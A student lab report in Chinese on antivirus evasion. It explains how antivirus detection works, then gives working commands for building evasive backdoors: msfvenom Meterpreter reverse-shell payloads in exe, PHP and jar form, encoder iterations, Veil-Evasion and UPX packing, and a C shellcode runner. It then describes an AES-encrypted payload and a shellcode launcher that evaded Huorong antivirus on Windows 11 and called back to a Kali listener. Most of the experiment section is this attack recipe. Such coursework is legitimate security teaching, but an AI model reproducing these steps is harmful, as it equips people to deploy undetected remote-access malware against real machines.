网络对抗实验三-免杀原理
Exp3-免杀原理
实验基础
问题回答
1 杀软是如何检测出恶意代码的?
(1)检测特征码
人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。
(2)启发式恶意软件检测
如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
(3)基于行为检测
与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
2 免杀是做什么?
采取一些手段使我们的病毒程序不被杀毒软件检查出来。可以正常运行以便于我们成功控制靶机。
3 免杀的基本方法有哪些?
- 改变特征码 :
①加壳:压缩壳 加密壳
②用shellcode(像Meterpreter) ,encode进行编码
③基于payload重新编译生成可执行文件
- 改变行为 :
①尽量使用反弹式连接,可以避免防火墙的阻拦。
②使用隧道技术,加密通讯数据,作伪装,使杀软无法检测到病毒代码,进而放行。
③尽量基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码。
④使用一个有漏洞的应用当成后门。
⑤纯手工或者半手工打造一个恶意软件。
- 修改内存特征码
- 等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
- 通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
- 非常规方法
4 开启杀软能绝对防止电脑中恶意代码吗?
不能绝对防止。
实验内容
0 实验准备
免杀测试平台:https://www.virustotal.com
kali虚拟机IP地址:192.168.162.129
1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
1.1 kali的IP地址192.168.162.129
1.2 检验直接生成的后门exe文件(实验二中的后门程序)
实验二中生成后门exe文件进行免杀检测
用免杀测试平台测试:https://www.virustotal.com
测试结果如下:
1.3 使用Unicode编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.162.129 LPORT=1329 -f exe > 20201329backdoor.exe
测试结果:
多次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.162.129 LPORT=1329 -f exe > 20201329backdoor1.exe
测试结果:
1.4利用php格式文件检测
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.162.129 LPORT=1329 x> 20201329backdoor_php.php
1.5利用jar文件检测
msfvenom -p java/shell_reverse_tcp LHOST=192.168.162.129 LPORT=1329 -f jar > 20201329backdoor_jar.jar
2 veil,加壳工具
2.1安装veil-evasion
输入sudo su
进入root用户模式
sudo apt-get update
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh
需要注意的是原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,更改setup.sh第260行的克隆地址为
sudo git clone https://gitee.com/spears/VeilDependencies.git
安装相关模块
安装成功后输入veil
显示界面
2.2利用加壳工具产生后门软件
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.113.130
set LPORT 1203
generate
输入文件名字20201329veil
生成文件的路径为/var/lib/veil/output/compiled
检测结果
2.3 免杀加壳尝试
upx 20201329veil.exe -o 20201329_veil_upx.exe
检测结果
3 使用C + shellcode编程
使用msfvenom 得到shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.162.129 LPORT=1329 -f c
编辑C文件 vim shellcode_c.c
,输入上方的代码以及
int main()
{
int (*func)() =(int(*)())buf;
func();
}
编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
4 通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
原理:使用了数据加密的方式进行多次编译后门软件
利用python+aes_encrypt
打开veil
,输入use Evasion
,再输入list
输入use python/shellcode_inject/aes_encrypt.py
输入generate
,选择2,输入ip地址192.168.162.129
,输入端口号1329
生成文件
检测结果:
5 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑使用的杀软是火绒,版本是5.0.73.3
电脑版本是Windows11
输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.162.129 lport=1329 -f raw -o 1329.raw
生成raw文件
- 在主机上下载shellcode_launcher
- 然后在终端cmd输入
shellcode_launcher.exe -i 1329.raw
运行生成的文件
杀毒软件没有发现
kali输入
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.162.129 //此处为kali端ip地址
exploit
回连成功
问题与解决
1.加壳失败:没有对应的文件生成
解决办法:没有进入root模式,输入sudo su
再进行操作
2.下载相关配件文件时下载失败,下载后又出现各种识别不了的方块
在正常下载过程中是比较缓慢的,安装步骤更近了gitee网址能够减少等待时间,主要还是一个慢慢等待的过程。
另外,因为虚拟机本身之前安装了汉化包,原本的英文没有在安装步骤中出现,按照负责任的实验报告中的提示能够正常安装。
实验总结与体会
本次实验主要是多亏了身边组员们的帮助,因为虚拟机已经汉化的缘故,除了在安装veil的时候出现问题和奇怪的方块看不懂,另外就是在kali中输入操作指令时没有及时使用root用户模式进行操作,出现了很多报错但都及时解决了。
通过本次实验,以及上周实验的基础,我对后门程序的免杀有了更深层次的理解,也第一次了解到免杀测试平台这个东西。
另外,一次次实验的累积让我更加深了对电脑软件系统安全性的注重,不是所有的软件和程序都是足够安全和完备的,提醒自己要及时对电脑软件进行查杀,保护自己的信息安全。